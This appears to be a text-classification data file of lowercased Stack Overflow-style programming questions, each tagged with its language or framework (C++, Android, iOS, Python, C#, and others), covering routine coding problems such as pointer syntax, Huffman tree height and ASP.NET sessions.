find() method of an std::string pointer  i have a function like this:   <pre><code>int find_string ( string *url){    if(*url.find() != string::npos){         [...]    }    [...] } </code></pre>   and call it this way:   <pre><code>find_string(&amp;url); </code></pre>   but i got the following compiling error:   <pre><code>request for member ‘find’ in ‘url’  which is of non-class type ‘std::string*’ </code></pre>   why this happen and  most importantly  how can i fix this  (when there was no pointer  it was working),c++
javascript not loading when i click on link_to helper  i have some scripts in my sales.coffee   <pre><code>$ -&gt;   $( .datepicker ).datepicker()   return  $( .flexdatalist ).flexdatalist minlength: 1   $(document).ready -&gt;   $( .phonemask ).inputmask  (99) 9999[9]-9999    $( .cpfmask ).inputmask  999.999.999-99    $( .cnpjmask ).inputmask  99.999.999/9999-99    $( .datemask ).inputmask  99/99/9999    return   $ -&gt;   $( .valormask ).maskmoney()   return </code></pre>   but this javascripts only load if i refresh page.    how can solve this,ruby-on-rails
.net: how do i find the desktop path when folder redirection is on   i have been using    <blockquote>    environment.getfolderpath(environment.specialfolder.desktop)   </blockquote>   to get the path to the user s desktop for ages now  but since we changed our setup here at work so we use folder redirection to map our users  <strong>desktop</strong> and <strong>my documents</strong> folders to the server  it no-longer works.  it still points to the <strong>desktop</strong> folder in <strong>c:\documents and settings</strong>  which is not where my desktop lives.    any ideas on how to fix this     burns,.net
keeping data retains in the dictionary after the dictionary creates in page load  mine is an asp.net vb application. i need a dictionary of around 100 keys and values. that dictionary i d like to initialize when page loads. but i ve to use those values and keys in that dictionary in various button events on that page. so how can i achieve that with a 1 time initialization of that values to the dictionary when page loads  since that values in that dictionary clears out normally in every server requests .,asp.net
nsnotificationcenter is not working   as i told here i am using <code>nsnotificationcenter</code> .    on <strong>class a</strong> (observer) on the init method i have got :   <pre><code>[[nsnotificationcenter defaultcenter] addobserver:self selector:@selector(getsensorsdata:) name:@ hotspottouched  object:nil]; </code></pre>   on <strong>classb</strong> i have got :   <pre><code>//fill nsdictionary with data     [dict setobject:@ spot1  forkey:[array objectatindex:0]];     [dict setobject:@ spot2  forkey:[array objectatindex:1]];     [dict setobject:@ spot3  forkey:[array objectatindex:2]];     [dict setobject:@ spot4  forkey:[array objectatindex:3]];     [dict setobject:@ spot5  forkey:[array objectatindex:4]];      [[nsnotificationcenter defaultcenter] postnotificationname:@ hotspottouched  object:dict]; </code></pre>   the function in  class a <code>getsensorsdata</code> is not being called.    whats wrong here       thanks !,objective-c
logcat error when i press a button  my app work in android version 2.3.3 without any problem but when i testdc it on galaxy s5 ( 4 and more )  it does not work.    here is the logcat error output:   <pre><code>10-17 04:18:10.265: w/dalvikvm(26757): threadid=1: thread exiting with uncaught exception (group=0x41a95c08) 10-17 04:18:10.265: e/androidruntime(26757): fatal exception: main 10-17 04:18:10.265: e/androidruntime(26757): process: com.androidexample.httppostexample  pid: 26757 10-17 04:18:10.265: e/androidruntime(26757): android.os.networkonmainthreadexception 10-17 04:18:10.265: e/androidruntime(26757):    at android.os.strictmode$androidblockguardpolicy.onnetwork(strictmode.java:1166) 10-17 04:18:10.265: e/androidruntime(26757):    at java.net.inetaddress.lookuphostbyname(inetaddress.java:385) 10-17 04:18:10.265: e/androidruntime(26757):    at java.net.inetaddress.getallbynameimpl(inetaddress.java:236) 10-17 04:18:10.265: e/androidruntime(26757):    at java.net.inetaddress.getallbyname(inetaddress.java:214) 10-17 04:18:10.265: e/androidruntime(26757):    at org.apache.http.impl.conn.defaultclientconnectionoperator.openconnection(defaultclientconnectionoperator.java:180) 10-17 04:18:10.265: e/androidruntime(26757):    at org.apache.http.impl.conn.abstractpoolentry.open(abstractpoolentry.java:167) 10-17 04:18:10.265: e/androidruntime(26757):    at org.apache.http.impl.conn.abstractpooledconnadapter.open(abstractpooledconnadapter.java:125) 10-17 04:18:10.265: e/androidruntime(26757):    at org.apache.http.impl.client.defaultrequestdirector.executeoriginal(defaultrequestdirector.java:1227) 10-17 04:18:10.265: e/androidruntime(26757):    at org.apache.http.impl.client.defaultrequestdirector.execute(defaultrequestdirector.java:677) 10-17 04:18:10.265: e/androidruntime(26757):    at org.apache.http.impl.client.abstracthttpclient.execute(abstracthttpclient.java:555) 10-17 04:18:10.265: e/androidruntime(26757):    at org.apache.http.impl.client.abstracthttpclient.execute(abstracthttpclient.java:487) 10-17 04:18:10.265: e/androidruntime(26757):    at org.apache.http.impl.client.abstracthttpclient.execute(abstracthttpclient.java:465) 10-17 04:18:10.265: e/androidruntime(26757):    at com.androidexample.httppostexample.httppostexample$2.onclick(httppostexample.java:157) 10-17 04:18:10.265: e/androidruntime(26757):    at com.android.internal.app.alertcontroller$buttonhandler.handlemessage(alertcontroller.java:167) 10-17 04:18:10.265: e/androidruntime(26757):    at android.os.handler.dispatchmessage(handler.java:102) 10-17 04:18:10.265: e/androidruntime(26757):    at android.os.looper.loop(looper.java:136) 10-17 04:18:10.265: e/androidruntime(26757):    at android.app.activitythread.main(activitythread.java:5586) 10-17 04:18:10.265: e/androidruntime(26757):    at java.lang.reflect.method.invokenative(native method) 10-17 04:18:10.265: e/androidruntime(26757):    at java.lang.reflect.method.invoke(method.java:515) 10-17 04:18:10.265: e/androidruntime(26757):    at com.android.internal.os.zygoteinit$methodandargscaller.run(zygoteinit.java:1268) 10-17 04:18:10.265: e/androidruntime(26757):    at com.android.internal.os.zygoteinit.main(zygoteinit.java:1084) 10-17 04:18:10.265: e/androidruntime(26757):    at dalvik.system.nativestart.main(native method) </code></pre>   this is my androidmanifest    can anyone help me to solve it,android
"how to align characters and inline-blocks with paddings to the bottom with css   as you can see  <code>.button</code> doesn t align to the bottom of <code>.row</code> with other elements when you add padding.    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-css lang-css prettyprint-override ><code>a {
   display:inline-block;
 }
 .button{
   padding:5px;
   background:#ccc;  
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;div class= row &gt;
     some regulars texts
     &lt;a href= # &gt;hello this is title&lt;/a&gt;
     &lt;a class= button  href= # &gt;add&lt;/a&gt;
 &lt;/div&gt;
 
 &lt;div class= row &gt;
     another some regulars texts
     &lt;a href= # &gt;hello this is another title&lt;/a&gt;
     &lt;a class= button  href= # &gt;add&lt;/a&gt;
 &lt;/div&gt;</code></pre>
 </div>
 </div>",css
vb.net - casting types  the following code was taken from the following webpage: <a href= http://msdn.microsoft.com/en-us/magazine/cc188707.aspx  rel= nofollow >http://msdn.microsoft.com/en-us/magazine/cc188707.aspx</a>   <pre><code>int[] values = new int[] {1  2  3  4  5};  ienumerator e = ((ienumerable)values).getenumerator();  while(e.movenext())  {  console.write(e.current.tostring() +    );  } </code></pre>   why is the array class casted into an ienumerable   the array class implements getenumerator as shown on the following webpage: <a href= http://msdn.microsoft.com/en-us/library/system.array.aspx  rel= nofollow >http://msdn.microsoft.com/en-us/library/system.array.aspx</a>.,c#
is it safe to save application context to static variable  i made <code>cache</code> class that use <code>sharedpreferences</code>.<br> it contains below methods.     <ul> <li><code>static save(context context  string key  mixed value)</code> (mixed: string  long  int  double  ...)</li> <li><code>static load[type](context context  string key)</code> (loadstring  loadint  loaddouble  ...)</li> <li><code>static exists(context context  string key)</code></li> </ul>   these methods contain a <code>context</code> parameter.<br> because <code>context</code> is necessary to use <code>sharedpreferences</code>.<br> i think it is very uncomfortable.    so i modify the class like below.   <ul> <li><code>private static context context</code></li> <li><code>static init(context context)</code>: save <code>context</code> to <code>static context</code></li> <li><code>static save(string key  mixed value)</code></li> <li><code>static load[type](string key)</code></li> <li><code>static exists(string key)</code></li> </ul>   or   <ul> <li><code>private static sharedpreferences sp</code></li> <li><code>static init(context context)</code>  <ul> <li>save <code>context.getsharedpreferences(...)</code> to <code>static sp</code></li> </ul></li> <li><code>static save(string key  mixed value)</code></li> <li><code>static load[type](string key)</code></li> <li><code>static exists(string key)</code></li> </ul>   <code>init</code> method will call at <code>splashactivity</code> like <code>cache.init(getapplicationcontext())</code>. (<code>splashactivity</code> is launcher activity)    this is a safe way  or is any better way,android
how to open the mail app just open without sending email  the requirement is open the mail app  just like custom url scheme open the app but do nothing else.    use @ mailto://  url will open the mail app with a new email in edting  that s not what i want.    any ideas     sorry about my poor english.,ios
remove control m from a text file in c  ist is possible  what would be the easiest way  i tried to compare in the input string character to character so     if(char([i]== ^m ) char[i]=      but it does not work.    by the way  if i were able to check it  what is the wistes substitution  to         thanks,c
name convention for keys in app.config  what is the name convention for keys in app.config  <a href= http://msdn.microsoft.com/en-us/library/ms229045%28v=vs.110%29.aspx  rel= nofollow >msdn</a> doesn t include it.    example:   <pre><code> &lt;add key= enablemail  value= true  /&gt; </code></pre>   or   <pre><code> &lt;add key= enablemail  value= true  /&gt; </code></pre>   or   <pre><code> &lt;add key= enablemail  value= true  /&gt; </code></pre>,.net
convert url to correct filename (linux/windows)  i have a script that works with different sites. as a result this script returns 1 csv file for 1 site with a unique filename  based on site url. site url may be different  like   <pre><code>http://test1.com http://test2.com/testurl http://test3.com/test/path/ </code></pre>   i want to convert urls to filenames - to remove all characters that can cause conflict in linux/windows  to replace them with  _   for example   <pre><code>http://test1.com will be test1com.csv http://test2.com/testurl will be test2comtesturl.csv http://test3.com/test/path/ will be test3comtestpath.csv </code></pre>   i can try to use parse_url and concat host and path with replacing  /  and  .  to  _   but i m not sure that this is the best solution  because urls can be different and with different characters that can not be used as filename.,php
i want to edit the input  my question is:suppose i have written the code which can take the input like this:   <pre><code>#requiredfield: c:/java/doc  #requiredfield: d:/javac/app  #requiredfield: c:/javacode/applications  </code></pre>   so i want that  the output should come like:   <pre><code> c:/java/doc   d:/javac/app   c:/javacode/applications  </code></pre>   means i have to remove #requiredfield from each line of input.so what can be logic behind this.,java
include period in header file name  sorry for what is probably an asinine question. i m relatively inexperienced in c++ and i m writing a small program with a header file. my cpp and h filenames have a period in them  for example:  <strong>file_ver_1.1.cpp</strong>  and  <strong>file_ver_1.1.h</strong>     in my header file i have the following code   <pre><code>#ifndef file_ver_1.1_h_ #define file_ver_1.1_h_ ... some code #endif  </code></pre>   i get a warning from the compiler saying  <em>extra tokens at end of #ifndef directive</em>  for the first line and  <em>missing whitespace after the macro name</em>  for the define line. <strong>is my header file name invalid because of the underscores and/or periods </strong> i ve read these two articles but i didn t really understand them and i m still confused:   <pre><code>    http://gcc.gnu.org/onlinedocs/cpp/macros.html#macros     http://stackoverflow.com/questions/1653958/why-are-ifndef-and-define-used-in-c-header-files </code></pre>   thank you for your help!,c++
explain singleton class in objective c <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/145154/what-does-your-objective-c-singleton-look-like >what does your objective-c singleton look like </a>    </blockquote>     can anyone explain what is singleton in objective c with an example.,objective-c
simple calculator returning alert statments but ignoring actual functions  hey everyone im in my first semester and im pretty new to javascript. i have an assignment thats due in in a few hours and i have been racking my brain trying to figure out why my code wont display the actual function results. this is the assignment.    **write javascript program which implements a fully functioning  five feature (addition  subtraction  multiplication  division  and modulo/remainder) calculator.    when i run my code it acts like i dont have any input values and returns my alert statement with a 0 or a nan. <strong>my code so far</strong>   <pre><code>var input1 = 0; var input2 = 0; var again = true;  function main() {      while (again === true)     {         inputnum1();         inputnum2();         operator();     }  } function inputnum1() {     var input1 = 0;       input1 = parseint(prompt( input first number:     1 ));       while ((isnan(input1)) || (input1 &lt; 1))     {         input1 = parseint(prompt( numeric values starting at 1 only:      1 ));       }  } function inputnum2() {      var input2 = 0;       input2 = parseint(prompt( input second number:     1 ));      while ((isnan(input2)) || (input2 &lt; 1))     {         input1 = parseint(prompt( numeric values starting at 1 only:      1 ));         input2 = parseint(prompt( numeric values starting at 1 only:      1 ));      }  }  function operator() {     var option = 0;     var string =   ;      string +=  \nenter 0 to terminate calculator:  ;     string +=  \nenter 1 for addition:  ;     string +=  \nenter 2 for subtraction :  ;     string +=  \nenter 3 for multiplication:  ;     string +=  \nenter 4 for division:  ;     string +=  \nenter 5 for modulo/remainder:  ;      option = parseint(prompt(string   1 ));      while ((isnan(option)) || (option &lt; 0) || (option &gt;5))     {         option = parseint(prompt(string   1 ));     }      chosenop(option);  }  function chosenop(option) {     switch (option)     {         case 0:         alert ( terminated successfully );         again = false;         break;          case 1:         addition();          break;          case 2:         subtract();         break;          case 3:         multiply();         break;          case 4:         divide();         break;          case 5:         modulo();         break;       } }  function addition() {     var sum = input1+input2;     alert ( the sum is:   + sum); }  function subtract() {     var diff = input1-input2;     alert( the difference is:   + diff);  }  function multiply() {     var prod = input1*input2;     alert ( the product is:   + prod); } function divide() {     var quot = (input1 + 0.0)/(input2 + 0.0);     alert ( the quotient is:   + quot); } function modulo() {     var mod = input1%input2;     alert ( the modulo is:   + mod); } main(); </code></pre>,javascript
why is self only a convention and not a real python keyword   as far as i know  <em>self</em> is just a very powerful convention and it s not really a reserved keyword in python. java and c# have <em>this</em> as a keyword. i really find it weird that they didn t make a reserved keyword for it in python. is there any reason behind this,python
why does the value of this variable go over 256 when i programmed it not to   here s my code:    <pre><code> public void button1_click(object sender  system.eventargs e)     {         system.random rnd = new system.random();         int ci = 1;             int di=1;                 int fi=1;         int c = rnd.next(1  254);         int d = rnd.next(1  254);                 for (int f = rnd.next(1  254); f &lt; 255; f+=fi)                 {                      this.backcolor = system.drawing.color.fromargb(c  d  f);                     application.doevents();                     if (c == 254 || c == 0) { ci *= -1; }                     if (f == 254 || f == 0 || f == 50 || f == 100 || f == 150 || f == 200)                     {                         d += di;                     }                      if (d == 255 || d == 0)                     {                         di *= -1;                     }                     if (f==254|| f == 0)                     {                         fi *= -1;                     }                     if (d == 254)                     {                         c += ci;                     }                 }      } </code></pre>   the error that pops up is that the value of d goes over 256.     however  when i run this in the debugger  i can t see any situation where d would go over 256. when d is 255  di becomes negative therefore d += di would decrease the value of d. therefore it is impossible for d to ever go above 255. therefore it is confusing when the debugger tells me that d just went to 256.     can anyone explain to me why this happens,c#
cannot convert a string to a class name  i have a string and need to convert it into a class <code>name</code>.    for example  i have the class :    <pre><code>public class account  {     public double quantity { get; set; }         public double amount{ get; set; } } </code></pre>   and i need to convert:   <pre><code>string x =  account  </code></pre>   to the name of that class    thank you,c#
ios coredata model : adding userinfo properties dynamically building datamodels in xcode  issue with coredata and filling in my attributes dynamically. the model/entity builder works great and the model works  but i would like to build the exact same model dynamically in code  so i can change tablenames per device.    i have two data models. 1 model in which i build with xcode s model builder gui.     this creates a model output for a field called itemid in the ms_tableoperations table (see below)   <blockquote>    versionhashmodifier (null)\n userinfo {\n<br>   \\ com.apple.syncservices.syncable\\  = no;\n}  attributetype 300     attributevalueclassname nsnumber  defaultvalue 0    preservevalueondeletioninpersistenthistory no\ ;\n    itemid =   \ ()  name itemid  isoptional 1    istransient 0  entity ms_tableoperations  renamingidentifier itemid    validation predicates (\n)  warnings (\n)   </blockquote>   this model output is from coding the model instead of using the xml code that is produced by xcode s model/entity tool.    <blockquote>    versionhashmodifier (null)\n userinfo {\n}  attributetype 300     attributevalueclassname nsnumber  defaultvalue 0    preservevalueondeletioninpersistenthistory no\ ;\n    itemid =   \ ()  name itemid  isoptional 1    istransient 0  entity ms_tableoperations  renamingidentifier itemid    validation predicates (\n)  warnings (\n)   </blockquote>   how can i programmatically set this in my code     <blockquote>    userinfo {\n  \\ com.apple.syncservices.syncable\\  = no;\n}  </blockquote>   this is what i have in my objective-c code to generate the model.   <blockquote>    nsattributedescription *ms_tableoperations_itemid =   [[nsattributedescription alloc] init];       [ms_tableoperations_itemid setname:@ itemid ];       [ms_tableoperations_itemid setattributetype:nsstringattributetype];       [ms_tableoperations_itemid setoptional:yes];       [properties_ms_tableoperations addobject:ms_tableoperations_itemid];  </blockquote>   my research has led me here in the userinfo properties-> <a href= https://developer.apple.com/documentation/coredata/nspropertydescription language=objc  rel= nofollow noreferrer >https://developer.apple.com/documentation/coredata/nspropertydescription language=objc</a>    i can not get a call to work work to generate a desired output.     thanks for the help!,ios
huffman get tree height  i m new in java. i m trying to obtain the height of my tree and the depth of every node in a huffman tree. i have been trying different method to obtain the height but it s still not working. i can t figure out whats the problem. right now i m getting an error:   <pre><code>exception in thread  main  java.lang.classcastexception: huffmanleaf cannot be cast to huffmannode     at huffmancode.findheight(huffmancode.java:95)     at huffmancode.printresults(huffmancode.java:71)     at main.main(main.java:31) </code></pre>   please  i m stuck on that.   <pre><code>import java.util.*;  public class huffmancode {     int numberofnode = 1;     int height;     string fullcode =   ;     string realcode =   ;      // input is an array of frequencies  indexed by character code     public huffmantree createtree(int[] charfreqs) {         priorityqueue&lt;huffmantree&gt; trees = new priorityqueue&lt;huffmantree&gt;();         // initially  we have a forest of leaves         // one for each non-empty character         for (int x = 0; x &lt; charfreqs.length; x++) {             if (charfreqs[x] &gt; 0)                 /*                  * my first step of huffman coding create a leaf node for each                  * character and add it to the priority queue with the offer                  * method                  */                 trees.offer(new huffmanleaf(charfreqs[x]  (char) x));         }          while (trees.size() &gt; 1) {             // poll the two nodes with least frequency             huffmantree a = trees.poll();             huffmantree b = trees.poll();              // put into new node and re-insert into queue             trees.offer(new huffmannode(a  b));             numberofnode++;         }         return trees.poll();     }      public void printresults(huffmantree tree  stringbuffer prefix) {         // assert tree != null;         if (tree instanceof huffmanleaf) {             huffmanleaf leaf = (huffmanleaf) tree;              system.out.println(leaf.value +  \t  + leaf.frequency +  \t  + prefix);             encodedinput(prefix);             for (int x = 0; x &lt; leaf.frequency; x++) {                 realcode = realcode + prefix;             }          } else if (tree instanceof huffmannode) {             huffmannode node = (huffmannode) tree;             numberofnode++;              // move left             prefix.append( 0 );             printresults(node.left  prefix);             prefix.deletecharat(prefix.length() - 1);             findheight(node);              // move right             prefix.append( 1 );             printresults(node.right  prefix);             prefix.deletecharat(prefix.length() - 1);             height = findheight(node);               }     }      public void encodedinput(stringbuffer prefix) {         fullcode = fullcode +       + prefix;      }  //method to get height       public int findheight(huffmannode node) {         if (node == null) {             return -1;         }          int lefth = findheight((huffmannode) node.left);         int righth = findheight((huffmannode) node.right);          if (lefth &gt; righth) {             return lefth + 1;         } else {             return righth + 1;         }     } } </code></pre>   other class i have:   <pre><code>class huffmannode extends huffmantree {     public huffmantree left;     public huffmantree right;      public huffmannode(huffmantree left  huffmantree right) {         super(left.frequency + right.frequency);          this.left = left;         this.right = right;     } }  class huffmanleaf extends huffmantree {     public char value; // the character this leaf represents     public huffmanleaf(int frequency  char value) {         super(frequency);         this.value = value;     } }  public class huffmantree implements comparable&lt;huffmantree&gt; {     public int frequency; // the frequency of this tree      public huffmantree(int frequency) {         this.frequency = frequency;     }     public int compareto(huffmantree tree) {         return frequency - tree.frequency;     } } </code></pre>,java
determine if exist specified type exist in the assembly of the bin folder for the asp.net website  all  i knew all the dll files(assembly) under the <code>bin</code> folder would be loaded when the <code>asp.net</code> web site start up. but i want to know if there exist some ways to aware a specified type be defined in these assembly. thanks.    <strong>added</strong> i have a website. and i also defined a interface in an individual dll like below.   <pre><code>public class icustomizecomponent {    string somemethod(); } </code></pre>   and i want to other people can reference it   and implement it and  deploy the dll to the website.     in the website .if a implement class of interface was found in the website .i will initialize the class and call the <code>somemethod</code> at given time (for example in the page load).the problem is i can t know what the exact name of the dll. because it is named by others who want to implement the interface.    the code which call the method looks like below.   <pre><code>public class basepage : page {    protected override void onload(eventargs e)         {             //determine if exist the implemented class  then call the `somemethod`             .....                base.onload(e);         }  } </code></pre>   all the web page in the web site would inheriti from <code>basepage</code>.    actually. what i trying to do is provide a way to make other people add their customization into the website. i hope i made the problem clear . if not.  any comments are appreciated. thanks.,asp.net
jquery click+this not working  i have copied a snippet of code over.  i am very new to web languages and come from a java background.    jquery seems great but i just can t figure out how to solve this.    <a href= http://jsfiddle.net/mmf9q/2/  rel= nofollow >http://jsfiddle.net/mmf9q/2/</a>    thank you.,jquery
when i run a simple objectice-c program  it often says  “c-features” is already running. click stop to terminate and launch a new instance.  i wonder what it means....    thank you very much for answering my simple question...,objective-c
how life cycle of static variables works   following is my program for testing life of static variables.   <pre><code>public class a {      public static void main(string[] args) throws interruptedexception {          thread thread = new thread(new b());         thread.start();          while(thread.isalive()){             thread.sleep(1000);         }          system.gc();          thread thread2 = new thread(new b());         thread2.start();          while(thread2.isalive()){             thread.sleep(1000);         }          system.gc();          system.out.println( last one ::   + b.name);      }  } </code></pre>   <strong>b.java</strong>   <pre><code>public class b implements runnable{      public static int name;      @override     protected void finalize() throws throwable {         super.finalize();         system.out.println( finalize called );     }      @override     public void run() {         for(int i=0;i&lt;10;i++){             name++;         }         system.out.println( class b ::   + name);     }  } </code></pre>   <strong>output:</strong>   <pre><code>class b :: 10 finalize called class b :: 20 finalize called last one :: 20 </code></pre>   the first <strong>thread</strong> creates new instance of b starts the thread increment pointer of <strong>name</strong> variable and the <strong>main-thread</strong> waits till the <strong>thread</strong> completes and calls gc.again i repeat the process still the old pointer is maintained even after the thread creating instance of b is completed and gc is runned 2 times.<strong>how static variables are stored in memory and how long they they are maintained in memory</strong>,java
comparing file creation date  i am trying to archive old files based on creation date. i have data starting from 12-17-2010 so i am setting this as base date and incrementing from there. here is my code   <pre><code>import os  time  tarfile from datetime import datetime  date  timedelta import datetime  path =  /home/appins/.scripts/test/  count = 0 set_date =  2010-12-17  date = datetime.datetime.strptime(set_date   %y-%m-%d )  while (count &lt; 2):     date += datetime.timedelta(days=1)     tar_file =  nas_archive_ +date.strftime( %m-%d-%y )+ .tgz      log_file =  archive_log_ +date.strftime( %m-%d-%y )     fcount = 0     f = open(log_file  ab+ )     #print date.strftime( %m-%d-%y )     for root  subfolders  files in os.walk(path):         for file in files:             file = os.path.join(root file)             file = os.path.join(path  file)             filecreation = os.path.getctime(file)             print datetime.fromtimestamp(filecreation)   file creation date              print date.strftime( %m-%d-%y )   base date              if filecreation == date:                 tar.add(file)                 f.write(file +  \n )                 print file   is of matching date                  fcount = fcount + 1     f.close()     count += 1 </code></pre>   filecreation variable is getting float value. how can i use it to compare with my base date,python
how do i get the current content to hide it   i need to hide the content that is displayed in a div and replace it with other content when the user clicks a link. all of the content is inside of a div#content. each content selection is then inside another div.   <pre><code>&lt;div id = content&gt;     &lt;div id = defaulttabs class = contentcontainer&gt;content&lt;/div&gt;     &lt;div id = html5tabs class = contentcontainer&gt;content&lt;/div&gt;     &lt;div id = css3tabs class = contentcontainer&gt;content&lt;/div&gt;     &lt;div id = jquerytabs class = contentcontainer&gt;content&lt;/div&gt; &lt;/div&gt; </code></pre>   when the page first loads <code>defaulttabs</code> has css that sets <code>display:block</code>. the rest are hidden via css on <code>.contentcontainer { display:none;}</code>. when a nav link is clicked the currently displayed content needs to be hidden and the new selection displayed.     i do not know how to get the currently displayed content  if someone could explain how to do that  i can do the rest of it.,jquery
running app using push notification in ios  can the ios push notifications be used to automatically execute the attached application somehow (without user action),ios
a new instance of viewcontroller generated every time  i have an audio player in a <code>viewcontroller</code>. i call this <code>viewcontroller</code> when a song is selected in the <code>didselectrow</code> of a <code>tableview</code> in another <code>viewcontroller</code> called the <code>albumviewcontroller</code>.the problem i face is when i select a song  it pushes to audioplayer view controller and starts playing  but when i press back and select another song from the album  the previous song is not stopped  it still plays while the new song is selected.now the newly selected song pushes to another instance of audio player <code>viewcontroller</code> and plays . whereas the previously selected song also plays along with it  . and for each selection of song  a new instance of audio player <code>viewcontroller</code> is pushed  and all the selected songs are played together. my album controller which has the <code>tableview</code> with it s did select row code is as below   <pre><code> viewcontobj=[[viewcontroller alloc]initwithnibname:@ viewcontroller  bundle:nil];  //viewcontroller=audio player controller    [self.navigationcontroller pushviewcontroller:viewcontobj animated:yes];    viewcontobj.url =[nsurl urlwithstring:albumurlstring];   [viewcontobj playlivestream:nil]; </code></pre>   and the audio player play method is as below.   <pre><code>   -(ibaction)playlivestream:(id)sender  { if ( ![streamer isplaying] )  {   [self createstreamer];     [self setbuttonimagenamed:@ loadingbutton.png ];     [streamer start]; } else {   [self setbuttonimagenamed:@ play.png ];     [streamer pause]; }} </code></pre>,ios
define variable in model method  i m getting <code>keywords</code> array from html form with different keywords. i need to put them to the string with value like this <code>keyword1 keyword2 keyword3</code>.    the problem is with <code>keywords_line</code> string. i see it has value inside of .each cycle but it has not out of it. how to set <code>keywords_line</code> to work correctly         <pre><code>  # models/item.rb   before_save :create_slug_and_keywords    def create_slug_and_keywords      if defined  self.keywords       self.keywords.each do |k|         if defined  keywords_line           keywords_line = keywords_line +     + k         else            keywords_line = k         end        end        if defined  keywords_line # keywords_line is not defined here         keywords = keywords_line       else          keywords = nil       end     end </code></pre>,ruby-on-rails
creating a object from string with unknown number of parameters in c#  i am trying to create a class that gets from the user a name of a class and unknown number of parameters  and creates a suitable object. when i run my code  i get a missingmethod exception.    this is my code:   <pre><code>using system; using system.collections.generic; using system.linq; using system.text; using system.threading.tasks;  namespace project2 {     class class1     {         public static void main()         {             console.writeline( enter a class name );             string classname = console.readline();             console.writeline( enter parameters seperate with a space );             string parametersline = console.readline();             string []parameters = parametersline.split(   );             //console.writeline(parameters.length);             createobject createobject = new createobject(classname  parameters);             console.readkey();         }     }      class createobject     {     private readonly string classname;         public createobject(string classname  string[] parameters)         {             this.classname = classname;             try             {                 if (parameters.length == 1 &amp;&amp; parameters[0] ==   ) // no parameters                 {                     activator.createinstance(classname.gettype());                 }                  else {                     activator.createinstance(classname.gettype()  parameters);                  }             }             catch (exception e)             {                 console.writeline(e.gettype());             }         }     }      class person     {         public int id{ get; set; }         public string name{ get; set; }         public person()         {             console.writeline( created empety person object );         }         public person(int id  string name)         {             this.id = id;             this.name = name;             console.writeline( created person object.   + id:  + id +     name:  + name);         }     }      class point     {         public int x { get; set; }         public int y { get; set; }         public int z { get; set; }          public point()         {             console.writeline( created empety point object );         }         public point(int x  int y  int z)         {             this.x = x;             this.y = y;             this.z = z;             console.writeline( created point object.   +  x:  + x +     y:  + y +     z:  + z);         }     } } </code></pre>,c#
joining two tables and adding another column sql  i am trying to join two tables and calculating another column.    these are the <a href= https://i.stack.imgur.com/vd4em.png  rel= nofollow noreferrer >two tables</a>. i am trying to create a new column    <pre><code>bvc = scalefactor * bookingvalue / clicks </code></pre>   i tried using:   <pre><code>select      *       (s.scaling factor * m.bookingvalue) / clicks as bvc label = ’bvc’ from      maintable m  scale s where     maintable.keyword = s.keyword </code></pre>   i know it s definitely wrong. could someone point me in the right direction  please,sql
css: set an image as background  keep its size unchanged  i m using a big image as background. however  <strong>it always resize automatically</strong>(can t display full height of the img)  how to deal with it   one way is to set its height to the image s height. but when i m reuse the class for other images  i have to change the height many times.   <pre><code>#html div.img-bg   div.content #css .img-bg background-image: ..... </code></pre>,css
uistickerbrowserview not resetting correctly in stickers application ios 10  i am creating a stickers app in ios 10 using the imessage template project. i load the stickers and they look fine in compacted mode. i press the  ^  arrow to transition to the expanded mode and then to the compacted mode again then i see the problem. the problem is that the stickers for some reason do not start from the beginning of the uistickersview as shown below: there is a gap on the top:     <a href= https://i.stack.imgur.com/lyvb6.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/lyvb6.png  alt= enter image description here ></a>    i have tried the following approaches and none of them worked:    <pre><code>//self.stickerbrowserview.contentoffset = cgpoint(x: 0  y: 0)          self.stickerbrowserview.setcontentoffset(cgpoint(x: 0  y: 0 )   animated: false)          //self.stickerbrowserview.contentinset = uiedgeinsets(top: 0  left: 0  bottom: 0  right: 0) </code></pre>,ios
sophisticated case of js inheritance with passed arguments back to parent  i want to create a child js object which passes arguments back to parent constructor and will be able to override parent methods.    i ve done the task by a hack  please my fiddle <a href= http://jsfiddle.net/glebv/kbvmzg63/3/  rel= nofollow >http://jsfiddle.net/glebv/kbvmzg63/3/</a>    <strong>parent constructor:</strong>   <pre><code>var parent = function (name) {     this.meth1 = function () {         console.log( parent meth1    name);     };     this.meth2 =  function() {          console.log( parent meth2    name);     };     return this; } </code></pre>   please pay attention on  name  argument which is used in the methods.    <strong>child constructor:</strong>   <pre><code>var child = function (name) {         var child = new parent(name);         for (var property in child) {                        this[property] = child[property];         }      this.meth1 =  function () {         console.log( child    name);     };     return this; } </code></pre>   as you see  it s not classical inheritance  it s copy-past methods from the parent to the child. i guess there s more powerful method via prototype inheritance. there s simple acceptance criteria: 1) it should work   <pre><code>childobj = new child( bla ); childobj.meth1(); //child bla childobj.meth2(); //parent meth2 bla </code></pre>   2) parent constructor is not changeable because it belongs to external lib.    i ve test different solutions but it didn t solve my task. i will appreciate for your suggestions.    <strong>upd</strong>    the task is solved  there s solution <a href= http://jsfiddle.net/glebv/kbvmzg63/5  rel= nofollow >jsfiddle.net/glebv/kbvmzg63/5</a>,javascript
session does not save  i m very new to asp.net so there is a high risk that i am missing something simple here  but i have a problem with my session. when i click the  newturn  button the first time  it creates the player just as it should  however  when i click it again  somehow all the stats are back as if it got created again (stats such as  health  is back to max value) but i can see in debug mode that it only enters the  if == null  function once.     i don t understand what i am doing wrong  here is the code:   <pre><code>protected void newturn_click(object sender  imageclickeventargs e)     {         startbutton.visible = false;         ruleslink.visible = false;         newturnbutton.visible = true;          if (session[ prevobject ] == null)         {             character player = new character(1);             session[ prevobject ] = player;         }          character prevobj = (character)session[ prevobject ];          prevobj = createcard(prevobj);          session[ prevobject ] = prevobj;     } </code></pre>   edit: i found the error and it had nothing to do with the session  i just returned the object without setting the correct values before sending it back. thank you for your suggestions  though and i m sorry to have wasted your time!,asp.net
html code transfer   ok  so i was wondering if it was possible to use the code   <pre><code>&lt;script type= text/html  src= other.html &gt; </code></pre>   to get one bit of code from one html file to another  <br /> edit: ok  just tried it. no luck  all i am getting is a blank screen. let me rephrase it in is there any way to make this possible.,html
python - close a file if it is opened  i would like to insert the following function into a python script  concerning a file  and i haven t found how to write it yet:    if the file is opened  close it if it is already closed  do nothing    any help will be really much appreciated. thank you in advance!,python
